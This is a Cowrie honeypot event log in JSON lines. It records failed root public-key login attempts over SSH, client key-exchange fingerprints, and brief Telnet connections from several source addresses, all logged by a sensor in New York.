{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:5b:0a:e5:97:20:a8:db:89:29:ed:34:44:54:4b:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvDn12cpHcSFkUjK0sPq/Fly5Fg0GF3aJEWjKMYoOymaeY+WUMGSVOvGHhaML82jNn6HL94pxQjn/3Ux1s/o1OKox/grmaNn5jKJFVzFieSQH4KXum52fzc6iKmsgwTYOKR9m+xs3TCF/r89PtM3BEFFwWJNcYUvmxB6YWvIezFRaYIjUVdKHpHQq5S6T23F8llrpLuT3yc+1I+7h9U2UWsCncyhnxCLaH3zLvWVwyBVYw3jrsqIpb+R6GYAQefw8KQ01MLp/knngOWv33MM4PIn05Xstc0Vimcu6JQ83hQimGA9n4mgyBjFiDu879wm/owyGfLK+OCnZ7lDZCD1ls5JoN0j4jKboRVGyuRI9pg31VlB3uWRo00zcKErnoZzEOYsLS0ZIApSmC9CDA/mUgVLxvXArWW48LYB7HOtLJ80FK8iPC9y47G4c4mFeS702boBEMjumamdIpp20GNwqv+tKxYK09rRHYrYjTcMYCZ5nIDl2B3x12mTIG+M7pAPGB5JQeE2DuN3ZZJTh2sinBPMiCv2mNpJejLYzTvW4jP2MEEQ7lmROvSu1uLVhNd4t3KYC2psVltR9Xv6nd6gx0kxus+dbDrzVa08b310pFKOWBfDWYNEuJxkPjiuUwJsb9KeNVVbCYqPSNAz22N801oJQM6M3PDY6UHVG4VoJHxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.589970Z","src_ip":"148.153.121.223","session":"48f72a587979","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:56:85:5d:ca:d2:e2:03:2e:6e:e5:c4:4e:6a:26:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfo7FrFc0lbRVIglD/AhzxHyDtfCyRgt7tY/43l+vrjv6bzL6fqSP+oip6Zv11SkHrcy29OGTCZnRXVr9sfwPwayowRhH6oOge3g/8ybF6/3ny4jVztyqT/EBSY+zyB8Fzshod7u1nmCq0Y2hFXg3lVXqFVJ2zWKL0v0O8rV8DGDY98iZYGKW9rSqBiOXoNKWTNkikeK7PIAWU2r/PykVbIp7Lt7nDKPuiNym1V93UzNcUJkCxVpGGxqQhzSFJS6K4AJyIi3hY2zhD3Ww2Q0Q6gM9WHJ7+8UyYzdoo5uTL1BSkRDTOejVraI0k1IY7WYc9qWmMQh7cV/N4/qbXpDdN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:56:85:5d:ca:d2:e2:03:2e:6e:e5:c4:4e:6a:26:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.636017Z","src_ip":"148.153.121.223","session":"48f72a587979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:56:85:5d:ca:d2:e2:03:2e:6e:e5:c4:4e:6a:26:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfo7FrFc0lbRVIglD/AhzxHyDtfCyRgt7tY/43l+vrjv6bzL6fqSP+oip6Zv11SkHrcy29OGTCZnRXVr9sfwPwayowRhH6oOge3g/8ybF6/3ny4jVztyqT/EBSY+zyB8Fzshod7u1nmCq0Y2hFXg3lVXqFVJ2zWKL0v0O8rV8DGDY98iZYGKW9rSqBiOXoNKWTNkikeK7PIAWU2r/PykVbIp7Lt7nDKPuiNym1V93UzNcUJkCxVpGGxqQhzSFJS6K4AJyIi3hY2zhD3Ww2Q0Q6gM9WHJ7+8UyYzdoo5uTL1BSkRDTOejVraI0k1IY7WYc9qWmMQh7cV/N4/qbXpDdN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.640587Z","src_ip":"148.153.121.223","session":"48f72a587979","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:87:b0:ea:2e:31:e6:a6:fa:1f:8c:1c:33:c0:8a:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDDskgL72/oRJqTZW+BnMBnGu6PMuWi4bfH44K52uQRLv941Cxrw+xiJTA+lRt4UyYyhstMRz03if49VfBdrmMomc83cfdnAqmiIbsRTOPc5Ydn1ELI/IqknjwfjmwjZbKtLQaC/EZWZ7IlJ4FS29fLpaxfFq2UkCPcoEUyS4L7vSyHwM8ggxy4Qya0tF2TBeL5Ukd6vFP9e7l98fFVwPpf0xQAB+I8bLUr2INt0JRvgZF+4EdYCOLlv1bhF4MBjlujM7XuEPoXpizXUNRpQxP7SysfXeD6RSRS7zVdgrAbt9fsJ/X//2aJ3fj4b0HLrEIY8aELAJ0BxtzLVaH3Tlt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:87:b0:ea:2e:31:e6:a6:fa:1f:8c:1c:33:c0:8a:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.685639Z","src_ip":"148.153.121.223","session":"48f72a587979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:87:b0:ea:2e:31:e6:a6:fa:1f:8c:1c:33:c0:8a:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDDskgL72/oRJqTZW+BnMBnGu6PMuWi4bfH44K52uQRLv941Cxrw+xiJTA+lRt4UyYyhstMRz03if49VfBdrmMomc83cfdnAqmiIbsRTOPc5Ydn1ELI/IqknjwfjmwjZbKtLQaC/EZWZ7IlJ4FS29fLpaxfFq2UkCPcoEUyS4L7vSyHwM8ggxy4Qya0tF2TBeL5Ukd6vFP9e7l98fFVwPpf0xQAB+I8bLUr2INt0JRvgZF+4EdYCOLlv1bhF4MBjlujM7XuEPoXpizXUNRpQxP7SysfXeD6RSRS7zVdgrAbt9fsJ/X//2aJ3fj4b0HLrEIY8aELAJ0BxtzLVaH3Tlt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.689644Z","src_ip":"148.153.121.223","session":"48f72a587979","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:cc:96:c8:1b:da:ed:79:74:e0:94:e8:fd:7c:c5:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzt2ssDZFKnvCL0oH4AZD0m4UTzEJtoluZUtdwHOYkWShSmCa3G4s9BrNllry7+CeZ5xWdUYGIQtlUNo7/fUSoqzitMaXJ1IWckJAB1slOkwPP9gV+pYu7NlnMW+NHFO8UAxOPZK10qTeNwqyiJYXZ2k0LL6cGxN4JIzqPh92FA9vbLH8tBXiHTWFnqmJtNIihUzVnaHV9aJehkbzvJ03231SG3O1PwkIHw6g9HJi8S6VYNJ9U3WJ9izV2LNc9vqxlkFjcMnw1hDZkq40HWzczpEznsr1nLkBKWoLNgnCiuLwvI/gQ/xtVPxZAEYT2ARyVGgak9c9mqIJQvXf6pdu7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:cc:96:c8:1b:da:ed:79:74:e0:94:e8:fd:7c:c5:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.735400Z","src_ip":"148.153.121.223","session":"48f72a587979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:cc:96:c8:1b:da:ed:79:74:e0:94:e8:fd:7c:c5:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzt2ssDZFKnvCL0oH4AZD0m4UTzEJtoluZUtdwHOYkWShSmCa3G4s9BrNllry7+CeZ5xWdUYGIQtlUNo7/fUSoqzitMaXJ1IWckJAB1slOkwPP9gV+pYu7NlnMW+NHFO8UAxOPZK10qTeNwqyiJYXZ2k0LL6cGxN4JIzqPh92FA9vbLH8tBXiHTWFnqmJtNIihUzVnaHV9aJehkbzvJ03231SG3O1PwkIHw6g9HJi8S6VYNJ9U3WJ9izV2LNc9vqxlkFjcMnw1hDZkq40HWzczpEznsr1nLkBKWoLNgnCiuLwvI/gQ/xtVPxZAEYT2ARyVGgak9c9mqIJQvXf6pdu7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.738920Z","src_ip":"148.153.121.223","session":"48f72a587979","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:af:1a:c1:97:a5:2f:5c:1b:3c:dd:bd:24:20:c7:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJIqilqgXnr/ifftsbu4vOLZtgg5+Jaow4z5UhaozuJJCUA16kRt/Dx1uMtu3637aLtaskKY2o2TqLX2ABJBrA2TgikMeg5Rj3Wu7iCySRiQnTuKPPieOT/ifE9F+JBdk0zyJ0/gIVLjnEjJ559xOzxdjaWt8WRwr1JmZ3TogqAsgXgpoLUmP7+jqVQpEgUcsKpihFnbqb5UPJdcIYFOnpUEO9S4IS66HEb04QUVNq5bN4wDFMo2ngqUXMVy5WLBYQ3r2QwNfenOtizvvKIuzhez2PhieNWkgpj3s24JEGEtA5IXdS533T2CDy0xNQCA4cXUMkysS3m7Qpor6P/x+fFBjNldRpYIZkBTSeDKclkRl0JVd6qS45pwurcs7gy/a+3J3GTrpRWHrYfvOTVpLdN2j5v8CPlM5uu1ZXiTkIQv9kOZTm39+A8oeRA27d2dyZpNg1Dmq799shWb0vzOZW75VsYErDiuxhKxI+PhLy28DD0ApZizqUNYUOpGIjYIc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:af:1a:c1:97:a5:2f:5c:1b:3c:dd:bd:24:20:c7:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.884000Z","src_ip":"148.153.121.223","session":"48f72a587979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:af:1a:c1:97:a5:2f:5c:1b:3c:dd:bd:24:20:c7:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJIqilqgXnr/ifftsbu4vOLZtgg5+Jaow4z5UhaozuJJCUA16kRt/Dx1uMtu3637aLtaskKY2o2TqLX2ABJBrA2TgikMeg5Rj3Wu7iCySRiQnTuKPPieOT/ifE9F+JBdk0zyJ0/gIVLjnEjJ559xOzxdjaWt8WRwr1JmZ3TogqAsgXgpoLUmP7+jqVQpEgUcsKpihFnbqb5UPJdcIYFOnpUEO9S4IS66HEb04QUVNq5bN4wDFMo2ngqUXMVy5WLBYQ3r2QwNfenOtizvvKIuzhez2PhieNWkgpj3s24JEGEtA5IXdS533T2CDy0xNQCA4cXUMkysS3m7Qpor6P/x+fFBjNldRpYIZkBTSeDKclkRl0JVd6qS45pwurcs7gy/a+3J3GTrpRWHrYfvOTVpLdN2j5v8CPlM5uu1ZXiTkIQv9kOZTm39+A8oeRA27d2dyZpNg1Dmq799shWb0vzOZW75VsYErDiuxhKxI+PhLy28DD0ApZizqUNYUOpGIjYIc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.887971Z","src_ip":"148.153.121.223","session":"48f72a587979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.932901Z","src_ip":"148.153.121.223","session":"48f72a587979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.103.2","src_port":45536,"dst_ip":"10.17.0.5","dst_port":22,"session":"baa82befa537","protocol":"ssh","message":"New connection: 172.93.103.2:45536 (10.17.0.5:22) [session: baa82befa537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.551012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.556995Z","src_ip":"172.93.103.2","session":"baa82befa537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.564959Z","src_ip":"172.93.103.2","session":"baa82befa537","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:7a:fb:9d:93:42:88:58:42:ab:00:57:54:e3:c6:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCi9tHr15LUabGTF8E1L9MHxd/b5nr6mLERbCrSqZum9z7leEwn/ZakhzapdO+O3dK72DcjqWfbdPODuJq82LLGrZ9cz9XWCJnw6vvzDZbES/cZzLwcz2mJoXBs+/ESl9XHkK76WOWne1mCroGFklyhqnthiy7LRbQDE83Cms2trvDSfLewNBdlyWJlCgyjPoBa8DwoYoXgZHcHYbph1GlRe7OQBIesZb0YfBQy38gl6YItF8qCSNlxOyh/UXazWFzwR33yGLf+tRPOR3WcTg2eXWMB5FMwjz0dH5wUbi9UeRN0fVCu8jGGJgYUVnDopF7rvyxSZjpaOqxk/KCf4Z1v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:7a:fb:9d:93:42:88:58:42:ab:00:57:54:e3:c6:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.584138Z","src_ip":"172.93.103.2","session":"baa82befa537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:7a:fb:9d:93:42:88:58:42:ab:00:57:54:e3:c6:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCi9tHr15LUabGTF8E1L9MHxd/b5nr6mLERbCrSqZum9z7leEwn/ZakhzapdO+O3dK72DcjqWfbdPODuJq82LLGrZ9cz9XWCJnw6vvzDZbES/cZzLwcz2mJoXBs+/ESl9XHkK76WOWne1mCroGFklyhqnthiy7LRbQDE83Cms2trvDSfLewNBdlyWJlCgyjPoBa8DwoYoXgZHcHYbph1GlRe7OQBIesZb0YfBQy38gl6YItF8qCSNlxOyh/UXazWFzwR33yGLf+tRPOR3WcTg2eXWMB5FMwjz0dH5wUbi9UeRN0fVCu8jGGJgYUVnDopF7rvyxSZjpaOqxk/KCf4Z1v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.588401Z","src_ip":"172.93.103.2","session":"baa82befa537","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:47:2e:03:16:d9:02:df:bd:67:1f:4d:1b:80:c8:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2vuM/mZC4CJ1SCwoIcWUWSSaPL0b0ZcmpSzPblrX4P3PllJ6253OONkkvuXXDNXsrk3UlZGYQ1vXMa5wl3ky1H8iuNEZuqzwNeSLqPZd7OWbiagVXpqLNjhkc+6qQ8Hqsw0UWBsyiNtr7THdIck4jnLMJx7TXvtBd3s5q5Lm5UpMO031jSV3qllcqsRFndztGBVms0eF7ZJhKepPI2TTqldZRAxiKxgXlW1OjawMUJ/lmYd0ERe06eC6j+6qTd1SFd27q0gvt8v1/nAf5JrR7qv2aRl00ohNF9sXoDSi2bZ97KWMS2dgrwSCWXL+RaUQw2D0hVQ19yd1q2Tec3ZIwhYyiZt8DJD8KHqOOmotCGK3sjCWO669AqWabmjNWuQ7Z2q8DJOw9iaXLr0PfODtNuCGh67U/Wp7niA0ergbYZ7BXvp8ToGu09WisEobCqHyPWgiLzU+3YKqWmBakWhnAeiUhX5tGlHnUAHv0QSuTt8JcJSx2xMR/mbp+ZSiaiqM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:47:2e:03:16:d9:02:df:bd:67:1f:4d:1b:80:c8:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.601357Z","src_ip":"172.93.103.2","session":"baa82befa537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:47:2e:03:16:d9:02:df:bd:67:1f:4d:1b:80:c8:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2vuM/mZC4CJ1SCwoIcWUWSSaPL0b0ZcmpSzPblrX4P3PllJ6253OONkkvuXXDNXsrk3UlZGYQ1vXMa5wl3ky1H8iuNEZuqzwNeSLqPZd7OWbiagVXpqLNjhkc+6qQ8Hqsw0UWBsyiNtr7THdIck4jnLMJx7TXvtBd3s5q5Lm5UpMO031jSV3qllcqsRFndztGBVms0eF7ZJhKepPI2TTqldZRAxiKxgXlW1OjawMUJ/lmYd0ERe06eC6j+6qTd1SFd27q0gvt8v1/nAf5JrR7qv2aRl00ohNF9sXoDSi2bZ97KWMS2dgrwSCWXL+RaUQw2D0hVQ19yd1q2Tec3ZIwhYyiZt8DJD8KHqOOmotCGK3sjCWO669AqWabmjNWuQ7Z2q8DJOw9iaXLr0PfODtNuCGh67U/Wp7niA0ergbYZ7BXvp8ToGu09WisEobCqHyPWgiLzU+3YKqWmBakWhnAeiUhX5tGlHnUAHv0QSuTt8JcJSx2xMR/mbp+ZSiaiqM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.605550Z","src_ip":"172.93.103.2","session":"baa82befa537","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:34:00:46:ac:25:af:5b:4f:df:9b:d7:e3:4d:a1:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbVtEQ03Geqe2xpmiqaNfpMSlRFt2GESCDawC7XJQYvBEi9DCWo2FXWgbBWCn4jVB32J+2CaneQJh8KHYb4PdJWiH92uEa8gV1IkH9SJOAv5KaRIo5I70OkdnC4ZwSkUb5oBq73VL4z+B/dUwnFcrPEGhiBQJ5dvCS7S7auChDejJGtf8MQ/AlJ46dS7435avjIUUhiok5gfXVzTgXqPtNQvKMTZmyVJqdpiY6aS6BkYP21dcVVYR4CVx51W5ncezQ7kNZR2re5h7gMQikuaXWD05qSPdLIgggoyPcc8iAMfSz9iq5jaLstydDMjygpqJx8j5UciyoiznKN7s9+KcL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:34:00:46:ac:25:af:5b:4f:df:9b:d7:e3:4d:a1:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.614363Z","src_ip":"172.93.103.2","session":"baa82befa537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:34:00:46:ac:25:af:5b:4f:df:9b:d7:e3:4d:a1:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbVtEQ03Geqe2xpmiqaNfpMSlRFt2GESCDawC7XJQYvBEi9DCWo2FXWgbBWCn4jVB32J+2CaneQJh8KHYb4PdJWiH92uEa8gV1IkH9SJOAv5KaRIo5I70OkdnC4ZwSkUb5oBq73VL4z+B/dUwnFcrPEGhiBQJ5dvCS7S7auChDejJGtf8MQ/AlJ46dS7435avjIUUhiok5gfXVzTgXqPtNQvKMTZmyVJqdpiY6aS6BkYP21dcVVYR4CVx51W5ncezQ7kNZR2re5h7gMQikuaXWD05qSPdLIgggoyPcc8iAMfSz9iq5jaLstydDMjygpqJx8j5UciyoiznKN7s9+KcL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.618941Z","src_ip":"172.93.103.2","session":"baa82befa537","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:a2:8c:80:f9:85:f2:a2:d3:84:12:6d:76:66:80:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQ6S4AeustxZ6xT+q5ggk7y7XuR7zRdgJGvpq/hYpcSwxpOHmV0eGfEbIIHYI8lAIE0Et6EON5oQRxxRR3HdcaKh/1aptylypnePMC7WgzvP8atsEHrtkOx6KqOWjnwj63TiFERwfG1+7JgbOUOd3+/yd+AtJhDPPE6EJFFtCxeJfmy7ZCJ6xD2xwNTO2xdyvemlZe2KRgbm1zGbnZoAGydAUO2SqpMPWFAMc8sgaWIJvtcWPJgVcNg9f5Tn54JnieQpUbvZdbRITDg5WchItKHskQSjNm3aIBP07va9vfOm47lwbCutPdiR/+8oEKLbLvG7fOmr/WwscaKlIRj/27","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:a2:8c:80:f9:85:f2:a2:d3:84:12:6d:76:66:80:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.630360Z","src_ip":"172.93.103.2","session":"baa82befa537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:a2:8c:80:f9:85:f2:a2:d3:84:12:6d:76:66:80:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQ6S4AeustxZ6xT+q5ggk7y7XuR7zRdgJGvpq/hYpcSwxpOHmV0eGfEbIIHYI8lAIE0Et6EON5oQRxxRR3HdcaKh/1aptylypnePMC7WgzvP8atsEHrtkOx6KqOWjnwj63TiFERwfG1+7JgbOUOd3+/yd+AtJhDPPE6EJFFtCxeJfmy7ZCJ6xD2xwNTO2xdyvemlZe2KRgbm1zGbnZoAGydAUO2SqpMPWFAMc8sgaWIJvtcWPJgVcNg9f5Tn54JnieQpUbvZdbRITDg5WchItKHskQSjNm3aIBP07va9vfOm47lwbCutPdiR/+8oEKLbLvG7fOmr/WwscaKlIRj/27","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.634879Z","src_ip":"172.93.103.2","session":"baa82befa537","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:eb:62:1d:21:0e:09:75:bf:9f:9c:d4:ef:30:33:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8NhytBzgiq6qQRvg6OKeFf2OzL0VJNcuALjFqqj6MrGnLkPlFWlRz6JGlq1zi9tWGgZuyEF7AOszPbAUJY57u2ryWFdEGLW8SliVHZikZS7sXA3qftgbrvn7vkM0dyTMmu2c9emKSn//2JlciPtRjM9Beq/kVH6IaB4YMZui7dCBce88wKMGTDLmV4BhSuZ8Mhmzu4124K47eevf/q1iVr7l0j8ptrD8P0EBn7QqWt1rtU2/ELrl3dKNRCANaYDcaG2fFyobs80Rhl/vHGdkL1p0JNyLeqJVRp8rk99y6JQrhebs6zPZBSdVVpN0FaYZ94fjNOWjKcMlheQYIzJ+r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:eb:62:1d:21:0e:09:75:bf:9f:9c:d4:ef:30:33:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.645185Z","src_ip":"172.93.103.2","session":"baa82befa537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:eb:62:1d:21:0e:09:75:bf:9f:9c:d4:ef:30:33:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8NhytBzgiq6qQRvg6OKeFf2OzL0VJNcuALjFqqj6MrGnLkPlFWlRz6JGlq1zi9tWGgZuyEF7AOszPbAUJY57u2ryWFdEGLW8SliVHZikZS7sXA3qftgbrvn7vkM0dyTMmu2c9emKSn//2JlciPtRjM9Beq/kVH6IaB4YMZui7dCBce88wKMGTDLmV4BhSuZ8Mhmzu4124K47eevf/q1iVr7l0j8ptrD8P0EBn7QqWt1rtU2/ELrl3dKNRCANaYDcaG2fFyobs80Rhl/vHGdkL1p0JNyLeqJVRp8rk99y6JQrhebs6zPZBSdVVpN0FaYZ94fjNOWjKcMlheQYIzJ+r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.649742Z","src_ip":"172.93.103.2","session":"baa82befa537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:36.661383Z","src_ip":"172.93.103.2","session":"baa82befa537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48466,"dst_ip":"159.203.135.109","dst_port":23,"session":"f97f2b6eb420","protocol":"telnet","message":"New connection: 135.148.14.151:48466 (159.203.135.109:23) [session: f97f2b6eb420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:37:27.697864Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60626,"dst_ip":"159.203.135.109","dst_port":23,"session":"89b06011f7be","protocol":"telnet","message":"New connection: 135.148.14.151:60626 (159.203.135.109:23) [session: 89b06011f7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:37:54.409155Z"}
{"eventid":"cowrie.session.closed","duration":33.23573398590088,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:00.933483Z","src_ip":"135.148.14.151","session":"f97f2b6eb420","protocol":"telnet"}
